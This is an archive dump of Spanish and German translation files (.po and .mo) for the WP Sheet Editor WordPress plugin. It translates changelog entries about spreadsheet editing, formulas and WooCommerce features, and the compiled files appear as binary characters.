FIX - WooCommerce - Cuando editas atributos, marca \"visible\" y \"es " "taxonomía\" como verdadero, ignorando el valor establecido.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor)." #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se " "utiliza la url con cadenas de consulta

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - La ventana emergente de descarga de archivos no " "muestra los valores previamente editados

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en " "popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción \"Disminuir " "en %\"" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario " "y el precio total de inventario de todos los productos en la hoja de cálculo " "y lo mostramos en la barra de estado.

" #: wp-sheet-editor.php:69 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión, el plugin principal debe ser la versión 2.5.2 o superior. El " "plugin \"" #: wp-sheet-editor.php:142 msgid "My license" msgstr "Mi licencia" #: wp-sheet-editor.php:206 msgid "Disable extension offerings?" msgstr "¿Desactivar ofertas de extensiones?" lang/vg_sheet_editor_posts-es_GT.mo000064400000026437147600365160013447 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_GT MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

Nueva característica: Fórmulas - Puedes buscar y reemplazar, o guardar imágenes usando URLs.

Nueva Característica: Ahora puedes añadir columnas personalizadas a la hoja fácilmente. Así puedes editar campos personalizados o añadidos por otros plugins. Ver tutorial rápido (2 minutos)

Nueva característica: WooCommerce - Se ha añadido la columna "Editar Atributos" para editar/crear atributos globales y personalizados.

Nueva característica: WooCommerce - Se ha añadido la columna "shipping_class".

Nueva característica: WooCommerce - Se añadieron columnas: "permitir pedidos pendientes", "es destacado", "gestionar existencias", "cantidad de existencias".

Nueva característica: WooCommerce - Se ha añadido soporte para productos "variables" y todos sus campos.

Edita entradas y páginas fácilmente usando una hermosa hoja de cálculo en WP.¿Desactivar ofertas de extensiones?Mi licenciaPor favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión, el plugin principal debe ser la versión 2.5.2 o superior. El plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postslang/vg_sheet_editor_posts-de_DE_formal.po000064400000032103147600365160014734 0ustar00# Copyright (C) 2020 WP Sheet Editor # This file is distributed under the same license as the WP Sheet Editor plugin. msgid "" msgstr "" "Project-Id-Version: WP Sheet Editor 2.21.2.3\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-" "products-sheet\n" "Language-Team: Hanno Bolte IT Consulting \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "POT-Creation-Date: 2020-10-20T18:04:36+00:00\n" "PO-Revision-Date: 2020-11-17 15:21+0100\n" "X-Generator: Poedit 2.4.2\n" "Last-Translator: Hanno Bolte \n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "Language: de_DE@formal\n" #. Plugin Name of the plugin #. Author of the plugin msgid "WP Sheet Editor" msgstr "WP Sheet Editor" #. Plugin URI of the plugin msgid "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?" "utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=posts" #. Description of the plugin msgid "" "Bulk edit posts and pages easily using a beautiful spreadsheet inside " "WordPress." msgstr "" "Massenweise Beiträge und Seiten mit Hilfe eines schönen Arbeitsblatts " "innerhalb von WordPress einfach bearbeiten." #. Author URI of the plugin msgid "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" msgstr "" "https://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-" "list&utm_campaign=posts" #: whats-new/1.2.0.php:4 msgid "" "

New feature: Now you can add custom columns to the spreadsheet easily. " "This way you can edit custom fields or fields added by plugins. View quick tutorial (2 " "minutes)

" msgstr "" "

Neue Funktion: Jetzt können Sie dem Arbeitsblatt problemlos " "benutzerdefinierte Spalten hinzufügen. Auf diese Weise können Sie " "benutzerdefinierte oder von Plugins hinzugefügte Felder bearbeiten. Schnelles Tutorial " "anzeigen (2 Minuten)

" #: whats-new/1.2.0.php:5 msgid "" "

New feature: Added WordPress Multisite compatibility. Now you add the " "license once and the license works with the entire network. Each site has " "different settings.

" msgstr "" "

Neue Funktion: Kompatibilität mit WordPress Multisite hinzugefügt. Jetzt " "fügen Sie die Lizenz einmal hinzu und die Lizenz funktioniert mit dem " "gesamten Netzwerk. Jede Site hat unterschiedliche Einstellungen

" #: whats-new/1.2.0.php:6 msgid "" "

New feature: Added WPBakery Page Builder compatibility. Now you can edit " "the post content using the Live editor, Backend editor, or Normal editor. " msgstr "" "

Neue Funktion: Kompatibilität mit WPBakery Page Builder hinzugefügt. " "Jetzt können Sie den Beitragsinhalt mit dem Live-Editor, Backend-Editor oder " "dem normalen Editor bearbeiten.

" #: whats-new/1.2.0.php:7 msgid "" "

New feature: Added Advanced Custom Fields compatibility. Now you can edit " "in the spreadsheet the fields from your custom metaboxes. At the moment it " "works with basic fields: text, textarea, tinymce, image.

" msgstr "" "

Neue Funktion: Kompatibilität mit Advanced Custom Fields hinzugefügt. " "Jetzt können Sie im Arbeitsblatt die Felder aus Ihren benutzerdefinierten " "Metaboxen bearbeiten. Im Moment ist dies möglich mit den Feldarten: Text, " "Textarea, Tinymce, Bild

" #: whats-new/1.3.0.php:4 msgid "" "

New feature: WooCommerce - Added columns: \"allow backorders\", \"is " "featured\", \"manage stock\", \"stock quantity\".

" msgstr "" "

Neue Funktion: WooCommerce - Spalten hinzugefügt: \"Bestellrückstände " "zulassen\", \"ist empfohlen\", \"Lagerbestand verwalten\", \"Lagermenge\"." #: whats-new/1.3.0.php:5 msgid "" "

New feature: Filters - Now you can search / display posts that contain a " "specific keyword in the title or content. For example, display on the " "spreadsheet the posts that mention the keyword: \"Awesome\".

" msgstr "" "

Neue Funktion: Filter - Jetzt können Sie Beiträge suchen / anzeigen, die " "ein bestimmtes Schlüsselwort im Titel oder Inhalt enthalten. Zeigen Sie z. " "B. im Arbeitsblatt die Beiträge an, in denen das Schlüsselwort \"Awesome\" " "erwähnt wird.

" #: whats-new/1.3.0.php:6 msgid "" "

New feature: Columns visibility - Now you can sort the columns on the " "settings page per post type.

" msgstr "" "

Neue Funktion: Sichtbarkeit der Spalten - Jetzt können Sie die Spalten " "auf der Einstellungsseite nach Beitragstyp sortieren.

" #: whats-new/1.4.0.php:4 msgid "" "

New feature: WooCommerce - Added support for \"variable\" products and " "all their fields.

" msgstr "" "

Neue Funktion: WooCommerce - Unterstützung für \"variable\" Produkte und " "alle ihre Felder hinzugefügt.

" #: whats-new/1.4.0.php:5 msgid "" "

New feature: WooCommerce - Added support for \"downloadable\" products " "and all their fields.

" msgstr "" "

Neue Funktion: WooCommerce - Unterstützung für \"herunterladbare\" " "Produkte und alle ihre Felder hinzugefügt.

" #: whats-new/1.4.0.php:6 msgid "" "

New feature: WooCommerce - Added \"Edit Attributes\" column for editing/" "creating custom and global attributes.

" msgstr "" "

Neue Funktion: WooCommerce - Spalte \"Attribute bearbeiten\" zum " "Bearbeiten/Erstellen von benutzerdefinierten und globalen Attributen " "hinzugefügt.

" #: whats-new/1.4.0.php:7 msgid "

New feature: WooCommerce - Added \"shipping_class\" column.

" msgstr "" "

Neue Funktion: WooCommerce - Spalte \"Versandklasse\" hinzugefügt.

" #: whats-new/1.4.0.php:8 msgid "

New feature: Formulas - Allow wildcards in REPLACE formula.

" msgstr "" "

Neue Funktion: Formeln - Platzhalter in der REPLACE-Formel sind möglich." #: whats-new/1.4.0.php:9 msgid "" "

New feature: Formulas - You can search and replace, or save images using " "URLs.

" msgstr "" "

Neue Funktion: Formeln - Sie können Bilder über URLs suchen und ersetzen " "oder speichern.

" #: whats-new/1.4.0.php:10 msgid "" "

New feature: Formulas - Added formulas builder to create formulas easily." "

" msgstr "" "

Neue Funktion: Formeln - Formeleditor zur einfachen Erstellung von " "Formeln hinzugefügt.

" #: whats-new/1.4.0.php:11 msgid "" "

New feature: Columns visibility - Added option to sort and hide columns " "live in the spreadsheet.

" msgstr "" "

Neue Funktion: Sichtbarkeit von Spalten - Option zum Sortieren und " "Ausblenden von Spalten direkt im Arbeitsblatt hinzugefügt.

" #: whats-new/2.0.0.php:4 msgid "" "

NEW - WooCommerce - Allow to clone variations from one product to other " "products

" msgstr "" "

NEU - WooCommerce - Das Klonen von Varianten von einem Produkt auf andere " "Produkte ist möglich

" #: whats-new/2.0.0.php:5 msgid "" "

NEW - WooCommerce - Create variation - Allow to create variations for " "multiple products at once.

" msgstr "" "

NEU - WooCommerce - Variante erstellen - Die gleichzeitige Erstellung von " "Varianten für mehrere Produkte ist möglich.

" #: whats-new/2.0.0.php:6 msgid "" "

NEW - WooCommerce - allow to copy downloadable files from other product " "in popup

" msgstr "" "

NEU - WooCommerce - Das Kopieren herunterladbarer Dateien von anderen " "Produkten im Popup ist möglich

" #: whats-new/2.0.0.php:7 msgid "" "

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations." "

" msgstr "" "

NEU - FORMELN - Ausführung von Formeln nur bei WooCommerce-Varianten " "ermöglichen.

" #: whats-new/2.0.0.php:8 msgid "" "

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for " "quick access.

" msgstr "" "

NEU - BENUTZERDEFINIERTE SPALTEN - Schaltfläche zur Einstellungsseite in " "der Symbolleiste für schnellen Zugriff hinzugefügt.

" #: whats-new/2.0.0.php:9 msgid "" "

NEW - FORMULAS - Added option for executing custom formula on any field " "type.

" msgstr "" "

NEU - FORMELN - Option zum Ausführen benutzerdefinierter Formeln bei " "jedem Feldtyp hinzugefügt.

" #: whats-new/2.0.0.php:10 msgid "" "

NEW - PRO - Added set up wizard for post types that allows you to set up " "a post type and custom columns quickly.

" msgstr "" "

NEU - PRO - Einrichtungsassistent für Beitragsarten hinzugefügt, mit dem " "Sie eine Beitragsart und benutzerdefinierte Spalten schnell einrichten " "können.

" #: whats-new/2.0.0.php:11 msgid "" "

NEW - FORMULAS - improved the speed of simple formulas allowing to update " "thousands of posts in just a few seconds. Huge speed improvement.

" msgstr "" "

NEU - FORMELN - Die Geschwindigkeit einfacher Formeln wurde verbessert, " "die es ermöglicht, Tausende von Beiträgen in wenigen Sekunden zu " "aktualisieren. Enorme Geschwindigkeitsverbesserung.

" #: whats-new/2.0.0.php:12 msgid "" "

NEW - PRO - Added option to create new spreadsheets for new post types." msgstr "" "

NEU - PRO - Option zum Erstellen neuer Arbeitsblätter für neue " "Beitragsarten hinzugefügt.

" #: whats-new/2.0.0.php:13 msgid "" "

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, " ">, LIKE, etc.

" msgstr "" "

NEU - FILTER - Erweiterte Metafilter mit Operatoren wie =, !=, <, >, " "LIKE, usw. hinzugefügt

" #: whats-new/2.0.0.php:14 msgid "

FIX - WooCommerce - Variation titles appear empty.

" msgstr "

FIX - WooCommerce - Variantentitel erscheinen leer.

" #: whats-new/2.0.0.php:15 msgid "

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

" msgstr "" "

FIX - FORMELN - Manchmal werden die letzten Beiträge nicht aktualisiert." #: whats-new/2.0.0.php:16 msgid "" "

FIX - FORMULAS - Sometimes when searching post terms while preparing " "formula, it doesn´t find any.

" msgstr "" "

FIX - FORMELN - Manchmal werden bei der Suche nach Beitrags-Begriffen " "während der Vorbereitung von Formeln keine gefunden.

" #: whats-new/2.0.0.php:17 msgid "" "

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the " "settings page is registered, ignoring post types added by \"types\" plugin." msgstr "" "

FIX - BENUTZERDEFINIERTE BEITRAGSTYPEN - Beitragstypen, die nach der " "Registrierung der Einstellungsseite erstellt wurden, sind nicht erlaubt, " "Beitragstypen, die durch das \"types\"-Plugin hinzugefügt wurden, werden " "ignoriert.

" #: whats-new/2.0.0.php:18 msgid "

FIX - FORMULAS - It doesn´t accept decimal numbers.

" msgstr "

FIX - FORMELN - Es werden keine Dezimalzahlen akzeptiert.

" #: whats-new/2.0.0.php:19 msgid "" "

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

" msgstr "" "

FIX - BENUTZERDEFINIERTE SPALTEN - Es ist nicht möglich, die erste Spalte " "zu entfernen.

" #: whats-new/2.0.0.php:20 msgid "" "

FIX - WooCommerce - When editing attributes it marks \"visible\" and \"is " "taxonomy\" as true ignoring the set value.

" msgstr "" "

FIX - WooCommerce - Bei der Bearbeitung von Attributen werden \"sichtbar" "\" und \"ist Taxonomie\" als wahr gekennzeichnet und der definierte Wert " "ignoriert.

" #: whats-new/2.0.0.php:21 msgid "" "

FIX - FORMULAS - it doesn´t allow to replace something with nothing " "(remove a value).

" msgstr "" "

FIX - FORMELN - Es ist nicht möglich, etwas durch nichts zu ersetzen " "(einen Wert zu entfernen).

" #: whats-new/2.0.0.php:22 msgid "" "

FIX - FORMULAS - File columns dont save files when using url with query " "strings

" msgstr "" "

FIX - FORMELN - Datei-Spalten speichern keine Dateien, wenn die URL mit " "Abfrage-Strings verwendet wird

" #: whats-new/2.0.0.php:23 msgid "" "

FIX - WooCommerce - download files popup doesn´t show previously edited " "values

" msgstr "" "

FIX - WooCommerce - Popup-Fenster zum Herunterladen von Dateien zeigt " "zuvor bearbeitete Werte nicht an

" #: whats-new/2.0.0.php:24 msgid "

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

" msgstr "" "

FIX - SICHTBARKEIT VON SPALTEN - Drag & Drop funktioniert nicht bei " "Popup

" #: whats-new/2.0.0.php:25 msgid "" "

FIX - FORMULAS - Wrong formula generated for \"decrease by %\" option.

" msgstr "" "

FIX - FORMELN - Falsche Formel für die Option \"Abnahme um %\" generiert." "

" #: whats-new/2.1.0.php:4 msgid "" "

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total " "inventory price of all the products in the spreadsheet and display it in the " "status bar.

" msgstr "" "

NEU - WOOCOMMERCE - Jetzt berechnen wir die Gesamtbestandseinheiten und " "den Gesamtbestandspreis aller Produkte im Arbeitsblatt und zeigen sie in der " "Statusleiste an.

" #: wp-sheet-editor.php:72 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Bitte aktualisieren Sie das WP Sheet Editor Plugin und alle seine " "Erweiterungen auf die neueste Version. Die Eigenschaften des Plugins \"" #: wp-sheet-editor.php:145 msgid "My license" msgstr "Meine Lizenz" lang/vg_sheet_editor_posts-es_AR.mo000064400000026437147600365160013437 0ustar00.=GK9V;vDjKb]9 wFVY^oTP# t N wV Ww g W7 e gi~PPBU:s#@uaN]P_ |sY ezRhN v;4Jp~R:NL)s#et_dYd m ^,!!"Z#2$$Z%vV&W&f%''(W")z)r!*q*P+$W+ |++-,Y=,,' " &+-%(,! .  #*$ )

FIX - COLUMNS VISIBILITY - Drag and drop is not working on popup

FIX - CUSTOM COLUMNS - It doesn´t allow to remove the first column.

FIX - CUSTOM POST TYPES - It doesn´t allow post types created after the settings page is registered, ignoring post types added by "types" plugin.

FIX - FORMULAS - File columns dont save files when using url with query strings

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FORMULAS - Sometimes it doesn´t update the last posts.

FIX - FORMULAS - Sometimes when searching post terms while preparing formula, it doesn´t find any.

FIX - FORMULAS - Wrong formula generated for "decrease by %" option.

FIX - FORMULAS - it doesn´t allow to replace something with nothing (remove a value).

FIX - WooCommerce - Variation titles appear empty.

FIX - WooCommerce - When editing attributes it marks "visible" and "is taxonomy" as true ignoring the set value.

FIX - WooCommerce - download files popup doesn´t show previously edited values

NEW - CUSTOM COLUMNS - Added settings page button in the toolbar for quick access.

NEW - FILTERS - Added advanced meta filters with operators like =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Added option for executing custom formula on any field type.

NEW - FORMULAS - Allow to execute formula only on WooCommerce variations.

NEW - FORMULAS - improved the speed of simple formulas allowing to update thousands of posts in just a few seconds. Huge speed improvement.

NEW - PRO - Added option to create new spreadsheets for new post types.

NEW - PRO - Added set up wizard for post types that allows you to set up a post type and custom columns quickly.

NEW - WOOCOMMERCE - Now we calculate the total inventory units and total inventory price of all the products in the spreadsheet and display it in the status bar.

NEW - WooCommerce - Allow to clone variations from one product to other products

NEW - WooCommerce - Create variation - Allow to create variations for multiple products at once.

NEW - WooCommerce - allow to copy downloadable files from other product in popup

New feature: Added Advanced Custom Fields compatibility. Now you can edit in the spreadsheet the fields from your custom metaboxes. At the moment it works with basic fields: text, textarea, tinymce, image.

New feature: Added WPBakery Page Builder compatibility. Now you can edit the post content using the Live editor, Backend editor, or Normal editor.

New feature: Added WordPress Multisite compatibility. Now you add the license once and the license works with the entire network. Each site has different settings.

New feature: Columns visibility - Added option to sort and hide columns live in the spreadsheet.

New feature: Columns visibility - Now you can sort the columns on the settings page per post type.

New feature: Filters - Now you can search / display posts that contain a specific keyword in the title or content. For example, display on the spreadsheet the posts that mention the keyword: "Awesome".

New feature: Formulas - Added formulas builder to create formulas easily.

New feature: Formulas - Allow wildcards in REPLACE formula.

New feature: Formulas - You can search and replace, or save images using URLs.

New feature: Now you can add custom columns to the spreadsheet easily. This way you can edit custom fields or fields added by plugins. View quick tutorial (2 minutes)

New feature: WooCommerce - Added "Edit Attributes" column for editing/creating custom and global attributes.

New feature: WooCommerce - Added "shipping_class" column.

New feature: WooCommerce - Added columns: "allow backorders", "is featured", "manage stock", "stock quantity".

New feature: WooCommerce - Added support for "downloadable" products and all their fields.

New feature: WooCommerce - Added support for "variable" products and all their fields.

Bulk edit posts and pages easily using a beautiful spreadsheet inside WordPress.Disable extension offerings?My licensePlease update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "WP Sheet Editorhttps://wpsheeteditor.com/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postshttps://wpsheeteditor.com/extensions/posts-pages-post-types-spreadsheet/?utm_source=wp-admin&utm_medium=plugins-list&utm_campaign=postsProject-Id-Version: WP Sheet Editor 2.14.0 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/posts-pages-products-sheet PO-Revision-Date: 2020-12-30 10:36-0600 Last-Translator: Language-Team: Language: es_AR MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Generator: Poedit 2.4.2 Plural-Forms: nplurals=2; plural=(n != 1);

FIX - VISIBILIDAD DE LAS COLUMNAS - Arrastrar y soltar no funciona en popup

FIX - COLUMNAS PERSONALIZADAS - No permite eliminar la primera columna.

FIX - CUSTOM POST TYPES - No permite tipos de post creados después de registrar la página de configuración, ignorando los tipos de post añadidos por el plugin "Types".

FIX - FÓRMULAS - Las columnas de archivos no guardan archivos cuando se utiliza la url con cadenas de consulta

FIX - FORMULAS - It doesn´t accept decimal numbers.

FIX - FÓRMULAS - En ocasiones no se actualizan los últimos posts.

FIX - FÓRMULAS - A veces, cuando se buscan términos de post mientras se prepara la fórmula, no se encuentra ninguno.

FIX - FÓRMULAS - Fórmula incorrecta generada para la opción "Disminuir en %"

FIX - FORMULAS - No permite reemplazar algo por nada (quitar un valor).

FIX - WooCommerce - Los títulos de las variaciones aparecen vacíos.

FIX - WooCommerce - Cuando editas atributos, marca "visible" y "es taxonomía" como verdadero, ignorando el valor establecido.

FIX - WooCommerce - La ventana emergente de descarga de archivos no muestra los valores previamente editados

NUEVO - COLUMNAS A MEDIDA - Botón de la página de configuración añadida en la barra de herramientas para un acceso rápido.

NUEVO - FILTROS - Añadidos meta filtros avanzados con operadores como =, !=, <, >, LIKE, etc.

NEW - FORMULAS - Se ha añadido la opción de ejecutar una fórmula personalizada en cualquier tipo de campo.

NUEVO - FORMULAS - Permite ejecutar la fórmula sólo en las variaciones de WooCommerce.

NUEVO - FÓRMULAS - Se mejoró la velocidad de las fórmulas simples permitiendo actualizar miles de posts en sólo unos segundos. Enorme mejora de la velocidad.

NUEVO - PRO - Añadida opción para crear nuevas hojas de cálculo para nuevos tipos de post.

NUEVO - PRO - Se ha añadido un asistente de configuración para los tipos de post que te permite configurar rápidamente un tipo de post y columnas personalizadas.

NUEVO - WOOCOMMERCE - Ahora calculamos el total de unidades de inventario y el precio total de inventario de todos los productos en la hoja de cálculo y lo mostramos en la barra de estado.

NUEVO - WooCommerce - Permite clonar variaciones de un producto a otros productos

NUEVO - WooCommerce - Crear variación - Permite crear variaciones para múltiples productos a la vez.

NUEVO - WooCommerce - Permite copiar archivos descargables de otro producto en un popup

Nueva característica: Se ha añadido la compatibilidad con los Campos Personalizados Avanzados. Ahora puedes editar en la hoja de cálculo los campos de tus metaboxes personalizadas. Actualmente trabaja con campos básicos: texto, área de texto, tinymce, imagen.

Nueva característica: Se ha añadido compatibilidad con WPBakery Page Builder. Ahora puedes editar el contenido del post usando el editor Live, el editor Backend o el editor Normal.

Nueva Característica: Se ha añadido compatibilidad con Multisitios de WordPress. Ahora puedes añadir la licencia una vez y la licencia funcionará con la red completa. Cada sitio tiene diferentes opciones.

Nueva característica: Visibilidad de las columnas - Se ha añadido la opción de ordenar y ocultar las columnas activas en la hoja de cálculo.

Nueva característica: Visibilidad de las columnas - Ahora puedes ordenar las columnas en la página de configuración por tipo de post.

Nueva característica: Filtros - Ahora puedes buscar / mostrar los posts que contengan una palabra clave específica en el título o contenido. Por ejemplo, muestra en la hoja de cálculo los posts que mencionan la palabra clave: "Increíble".

Nueva característica: Fórmulas - Se ha añadido un constructor de fórmulas para crear fórmulas fácilmente.

Nueva característica: Fórmulas - Permitir comodines en la fórmula REEMPLAZAR.

